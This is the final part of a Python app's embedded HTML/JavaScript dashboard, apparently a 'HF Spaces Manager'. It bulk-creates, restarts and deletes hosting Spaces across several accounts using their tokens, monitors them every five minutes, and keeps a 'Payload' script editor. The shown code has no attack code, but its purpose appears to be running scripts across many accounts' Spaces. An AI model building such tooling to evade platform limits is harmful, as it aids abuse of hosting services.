| <button class="btn btn-danger" style="width:100%" onclick="deleteSpaces()">ποΈ Delete ALL Spaces</button> | |
| </div> | |
| </div> | |
| <!-- Accounts --> | |
| <div> | |
| <div class="section-title">π Connected Accounts</div> | |
| <div class="accounts-list" id="accounts-list"> | |
| <div style="color:var(--muted);font-size:11px;">None added yet.</div> | |
| </div> | |
| </div> | |
| </aside> | |
| <!-- Main --> | |
| <main> | |
| <div class="tabs"> | |
| <div class="tab active" onclick="switchTab('dashboard')">π Dashboard</div> | |
| <div class="tab" onclick="switchTab('spaces')">π₯οΈ Spaces</div> | |
| <div class="tab" onclick="switchTab('payload')">π Payload</div> | |
| <div class="tab" onclick="switchTab('logs')">π Logs</div> | |
| </div> | |
| <!-- Dashboard --> | |
| <div class="tab-content active" id="tab-dashboard"> | |
| <div class="stats-grid"> | |
| <div class="stat-card"><div class="stat-label">Accounts</div><div class="stat-value blue" id="s-accounts">0</div></div> | |
| <div class="stat-card"><div class="stat-label">Total Spaces</div><div class="stat-value purple" id="s-total">0</div></div> | |
| <div class="stat-card"><div class="stat-label">Running</div><div class="stat-value green" id="s-running">0</div></div> | |
| <div class="stat-card"><div class="stat-label">Building</div><div class="stat-value blue" id="s-building">0</div></div> | |
| <div class="stat-card"><div class="stat-label">Errors</div><div class="stat-value red" id="s-error">0</div></div> | |
| </div> | |
| <div class="monitor-bar"> | |
| <button class="btn btn-secondary btn-sm" onclick="startMonitor()">βΆ Start</button> | |
| <button class="btn btn-danger btn-sm" onclick="stopMonitor()">β Stop</button> | |
| <button class="btn btn-warn btn-sm" onclick="scanNow()">β‘ Scan Now</button> | |
| <div class="monitor-status"> | |
| <span class="dot pulse" id="monitor-dot" style="background:var(--green)"></span> | |
| <span id="monitor-label">Monitor Active β every 5 min</span> | |
| </div> | |
| </div> | |
| <div class="scroll-wrap" style="padding-top:12px;"> | |
| <div class="section-title" style="padding-bottom:8px;">Recent Activity</div> | |
| <div class="log-box" id="dash-log" style="height:calc(100vh - 370px)"></div> | |
| </div> | |
| </div> | |
| <!-- Spaces --> | |
| <div class="tab-content" id="tab-spaces"> | |
| <div class="spaces-header"> | |
| <div>Space ID</div><div>Prefix / Account</div><div>Status</div><div>Hardware</div><div>Action</div> | |
| </div> | |
| <div class="scroll-wrap" id="spaces-list" style="padding-top:4px;"> | |
| <div style="color:var(--muted);font-size:12px;padding:20px;text-align:center;">No spaces yet.</div> | |
| </div> | |
| </div> | |
| <!-- Payload Editor --> | |
| <div class="tab-content" id="tab-payload" style="flex:1;flex-direction:row;overflow:hidden;"> | |
| <div style="width:250px;border-right:1px solid var(--border);background:var(--card);display:flex;flex-direction:column;"> | |
| <div style="padding:12px;border-bottom:1px solid var(--border);display:flex;align-items:center;justify-content:space-between;"> | |
| <div class="section-title" style="margin:0">Files (<span id="pl-count">0</span>)</div> | |
| <button class="btn btn-secondary btn-sm" onclick="newFile()">β New</button> | |
| </div> | |
| <div id="pl-list" style="flex:1;overflow-y:auto;padding:8px;display:flex;flex-direction:column;gap:4px;"> | |
| <!-- File list renders here --> | |
| </div> | |
| </div> | |
| <div style="flex:1;display:flex;flex-direction:column;background:var(--bg);"> | |
| <div style="padding:12px;border-bottom:1px solid var(--border);display:flex;align-items:center;gap:10px;background:var(--surface);"> | |
| <input id="pl-filename" style="flex:1;font-family:monospace;font-size:13px;" placeholder="Filename (e.g. script.py)"> | |
| <button class="btn btn-primary btn-sm" onclick="saveFile()">πΎ Save</button> | |
| <button class="btn btn-danger btn-sm" onclick="deleteFile()">ποΈ Delete</button> | |
| </div> | |
| <textarea id="pl-editor" spellcheck="false" style="flex:1;background:#030712;color:#e2e8f0;border:none;padding:16px;font-family:'JetBrains Mono',monospace;font-size:13px;line-height:1.6;resize:none;outline:none;" placeholder="Select a file or create a new one..."></textarea> | |
| </div> | |
| </div> | |
| <!-- Logs --> | |
| <div class="tab-content" id="tab-logs"> | |
| <div style="padding:14px;flex:1;display:flex;flex-direction:column;"> | |
| <div class="log-box" id="full-log" style="height:100%"></div> | |
| </div> | |
| </div> | |
| </main> | |
| </div> | |
| <div id="toast"></div> | |
| <script> | |
| const STATUS_ICONS={RUNNING:'π’',SLEEPING:'π€',BUILDING:'π¨',APP_STARTING:'β³', | |
| RUNTIME_ERROR:'β',CREATE_FAILED:'β',RESTART_FAILED:'β',RESTARTING:'π',PAUSED:'βΈ',UNKNOWN:'β'}; | |
| function switchTab(name){ | |
| const names=['dashboard','spaces','payload','logs']; | |
| document.querySelectorAll('.tab').forEach((t,i)=>t.classList.toggle('active',names[i]===name)); | |
| document.querySelectorAll('.tab-content').forEach(tc=>tc.classList.remove('active')); | |
| document.getElementById('tab-'+name).classList.add('active'); | |
| if(name==='payload') pollFiles(); | |
| } | |
| function toast(msg,col=''){ | |
| const t=document.getElementById('toast'); | |
| t.textContent=msg; t.style.borderColor=col||'var(--border)'; | |
| t.classList.add('show'); setTimeout(()=>t.classList.remove('show'),3500); | |
| } | |
| async function json_post(url,body={}){ | |
| const r=await fetch(url,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(body)}); | |
| return r.json(); | |
| } | |
| async function createSpaces(){ | |
| const username=document.getElementById('f-username').value.trim(); | |
| const token=document.getElementById('f-token').value.trim(); | |
| const prefix=document.getElementById('f-prefix').value.trim(); | |
| const count=parseInt(document.getElementById('f-count').value)||20; | |
| if(!username||!token||!prefix){toast('Fill all fields','var(--red)');return;} | |
| document.getElementById('create-btn').disabled=true; | |
| document.getElementById('prog-wrap').style.display='block'; | |
| document.getElementById('prog-bar').style.width='8%'; | |
| const d=await json_post('/api/create',{username,token,prefix,count}); | |
| if(d.ok){toast('π '+d.msg,'var(--accent)');} | |
| else{toast('β '+d.error,'var(--red)');document.getElementById('create-btn').disabled=false;document.getElementById('prog-wrap').style.display='none';} | |
| } | |
| async function addAccount(){ | |
| const username=document.getElementById('a-username').value.trim(); | |
| const token=document.getElementById('a-token').value.trim(); | |
| if(!username||!token){toast('Username and token required','var(--red)');return;} | |
| const d=await json_post('/api/add-account',{username,token}); | |
| toast(d.ok?(d.added?'β Account added':'π Token updated'):'β '+d.error, d.ok?'':'var(--red)'); | |
| } | |
| async function deleteSpaces(){ | |
| const username=document.getElementById('d-account').value.trim(); | |
| const token=document.getElementById('d-token').value.trim(); | |
| if(!username){toast('Select an account','var(--red)');return;} | |
| if(!confirm(`Delete ALL spaces for @${username}? This is irreversible!`))return; | |
| const d=await json_post('/api/delete-spaces',{username,token}); | |
| toast(d.ok?'ποΈ '+d.msg:'β '+d.error, d.ok?'var(--red)':'var(--red)'); | |
| } | |
| async function restartSpace(id){ | |
| toast('π Restarting '+id); | |
| const d=await json_post('/api/restart/'+id); | |
| toast(d.ok?'β Restart triggered for '+id:'β '+d.error); | |
| } | |
| // ββ File Manager βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ | |
| let currentFile = ''; | |
| async function pollFiles(){ | |
| try{ | |
| const r=await fetch('/api/files'); | |
| const d=await r.json(); | |
| if(d.ok){ | |
| document.getElementById('pl-count').textContent=d.files.length; | |
| document.getElementById('pl-list').innerHTML=d.files.map(f=> | |
| `<div onclick="loadFile('${escHtml(f)}')" style="padding:6px 10px;font-size:12px;font-family:monospace;cursor:pointer;border-radius:6px;transition:background .2s;border:1px solid transparent;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;" class="pl-item" data-id="${escHtml(f)}">π ${escHtml(f)}</div>` | |
| ).join(''); | |
| highlightCurrentFile(); | |
| } | |
| }catch(e){console.error('File poll error:',e);} | |
| } | |
| function highlightCurrentFile(){ | |
| document.querySelectorAll('.pl-item').forEach(el=>{ | |
| if(el.dataset.id===currentFile){ | |
| el.style.background='var(--surface)'; | |
| el.style.borderColor='var(--accent)'; | |
| el.style.color='var(--accent)'; | |
| }else{ | |
| el.style.background='transparent'; | |
| el.style.borderColor='transparent'; | |
| el.style.color='var(--text)'; | |
| } | |
| }); | |
| } | |
| async function loadFile(name){ | |
| document.getElementById('pl-filename').value=name; | |
| document.getElementById('pl-editor').value='Loading...'; | |
| currentFile=name; | |
| highlightCurrentFile(); | |
| try{ | |
| const r=await fetch('/api/files/'+encodeURIComponent(name)); | |
| const d=await r.json(); | |
| if(d.ok) document.getElementById('pl-editor').value=d.content; | |
| else toast('β '+d.error,'var(--red)'); | |
| }catch(e){toast('β Error loading file','var(--red)');} | |
| } | |
| function newFile(){ | |
| currentFile=''; | |
| highlightCurrentFile(); | |
| document.getElementById('pl-filename').value='new_script.py'; | |
| document.getElementById('pl-editor').value=''; | |
| document.getElementById('pl-filename').focus(); | |
| document.getElementById('pl-filename').select(); | |
| } | |
| async function saveFile(){ | |
| const name=document.getElementById('pl-filename').value.trim(); | |
| const content=document.getElementById('pl-editor').value; | |
| if(!name){toast('Filename required','var(--red)');return;} | |
| try{ | |
| const r=await fetch('/api/files/'+encodeURIComponent(name), { | |
| method:'POST', | |
| headers:{'Content-Type':'application/json'}, | |
| body:JSON.stringify({content}) | |
| }); | |
| const d=await r.json(); | |
| if(d.ok){ | |
| toast('πΎ '+d.msg,'var(--green)'); | |
| currentFile=name; | |
| pollFiles(); | |
| }else toast('β '+d.error,'var(--red)'); | |
| }catch(e){toast('β Error saving file','var(--red)');} | |
| } | |
| async function deleteFile(){ | |
| const name=document.getElementById('pl-filename').value.trim(); | |
| if(!name){toast('Nothing to delete','var(--red)');return;} | |
| if(!confirm(`Delete ${name} permanently?`))return; | |
| try{ | |
| const r=await fetch('/api/files/'+encodeURIComponent(name),{method:'DELETE'}); | |
| const d=await r.json(); | |
| if(d.ok){ | |
| toast('ποΈ '+d.msg,'var(--red)'); | |
| if(currentFile===name) newFile(); | |
| pollFiles(); | |
| }else toast('β '+d.error,'var(--red)'); | |
| }catch(e){toast('β Error deleting file','var(--red)');} | |
| } | |
| async function startMonitor(){const d=await json_post('/api/monitor/start');toast(d.ok?'βΆ Monitor started':'β οΈ '+d.error);} | |
| async function stopMonitor(){await json_post('/api/monitor/stop');toast('β Monitor stop requested');} | |
| async function scanNow(){await json_post('/api/monitor/scan-now');toast('β‘ Instant scan triggered');} | |
| function escHtml(s){return String(s).replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>');} | |
| function renderSpaces(spaces){ | |
| const el=document.getElementById('spaces-list'); | |
| if(!spaces.length){el.innerHTML='<div style="color:var(--muted);font-size:12px;padding:20px;text-align:center;">No spaces yet.</div>';return;} | |
| el.innerHTML=spaces.map(s=>{ | |
| const st=s.status||'UNKNOWN'; | |
| const ic=STATUS_ICONS[st]||'β'; | |
| const sub=s.prefix?`prefix: ${s.prefix}`:`@${s.username}`; | |
| return `<div class="space-row"> | |
| <div class="space-id" title="${s.id}">${ic} ${s.id}</div> | |
| <div style="color:var(--muted);font-size:10px;">${escHtml(sub)}</div> | |
| <div><span class="status-badge ${st}">${st.replace('_',' ')}</span></div> | |
| <div class="space-hw">${s.hardware||'β'}</div> | |
| <div><button class="btn restart-btn" onclick="restartSpace('${s.id}')">βΊ Restart</button></div> | |
| </div>`; | |
| }).join(''); | |
| } | |
| function renderAccounts(names){ | |
| const el=document.getElementById('accounts-list'); | |
| // Also update dropdown | |
| const dd=document.getElementById('d-account'); | |
| const prev=dd.value; | |
| dd.innerHTML='<option value="">β choose account β</option>'; | |
| if(!names||!names.length){ | |
| el.innerHTML='<div style="color:var(--muted);font-size:11px;">None added yet.</div>'; | |
| return; | |
| } | |
| names.forEach((u,i)=>{ | |
| const opt=document.createElement('option'); | |
| opt.value=u; opt.textContent='@'+u; | |
| dd.appendChild(opt); | |
| }); | |
| if(prev) dd.value=prev; | |
| el.innerHTML=names.map((u,i)=>`<div class="account-item"> | |
| <span class="u">@${escHtml(u)}</span> | |
| <span class="badge">Acct ${i+1}</span> | |
| </div>`).join(''); | |
| } | |
| function renderLogs(logs,boxId){ | |
| const box=document.getElementById(boxId); | |
| if(!box)return; | |
| const atBottom=box.scrollHeight-box.scrollTop-box.clientHeight<80; | |
| box.innerHTML=logs.map(e=> | |
| `<div class="log-entry ${e.level}"><span class="log-time">${e.time.substring(11,19)}</span>${escHtml(e.msg)}</div>` | |
| ).join(''); | |
| if(atBottom) box.scrollTop=box.scrollHeight; | |
| } | |
| async function pollStats(){ | |
| try{ | |
| const r=await fetch('/api/stats'); | |
| const d=await r.json(); | |
| document.getElementById('h-accounts').textContent=d.accounts; | |
| document.getElementById('h-running').textContent=d.running; | |
| document.getElementById('h-total').textContent=d.total_spaces; | |
| document.getElementById('s-accounts').textContent=d.accounts; | |
| document.getElementById('s-total').textContent=d.total_spaces; | |
| document.getElementById('s-running').textContent=d.running; | |
| document.getElementById('s-building').textContent=d.building; | |
| document.getElementById('s-error').textContent=d.error; | |
| const ml=document.getElementById('monitor-label'); | |
| const md=document.getElementById('monitor-dot'); | |
| const hp=document.getElementById('h-monitor-pill'); | |
| if(d.monitor_running){ | |
| ml.textContent='Monitor Active β every 5 min'; | |
| md.style.background='var(--green)'; | |
| hp.style.display=''; | |
| } else { | |
| ml.textContent='Monitor Stopped'; | |
| md.style.background='var(--muted)'; | |
| hp.style.display='none'; | |
| } | |
| if(!d.creation_in_progress){ | |
| document.getElementById('create-btn').disabled=false; | |
| const pw=document.getElementById('prog-wrap'); | |
| if(pw.style.display!=='none'){ | |
| document.getElementById('prog-bar').style.width='100%'; | |
| setTimeout(()=>{pw.style.display='none';document.getElementById('prog-bar').style.width='0%';},700); | |
| } | |
| } else { | |
| const pct=Math.min(92, 8+(d.total_spaces*4)); | |
| document.getElementById('prog-bar').style.width=pct+'%'; | |
| } | |
| renderSpaces(d.spaces||[]); | |
| renderAccounts(d.account_names||[]); | |
| renderLogs(d.log||[],'dash-log'); | |
| renderLogs(d.log||[],'full-log'); | |
| } catch(e){console.error('Poll error:',e);} | |
| } | |
| setInterval(pollStats,4000); | |
| pollStats(); | |
| </script> | |
| </body> | |
| </html>""" | |
| # ββ Entry Point βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ | |
| if __name__ == "__main__": | |
| port = int(os.getenv("PORT", 7860)) | |
| print(f"Starting HF Spaces Manager on http://0.0.0.0:{port}") | |
| uvicorn.run("app:app", host="0.0.0.0", port=port, reload=False) | |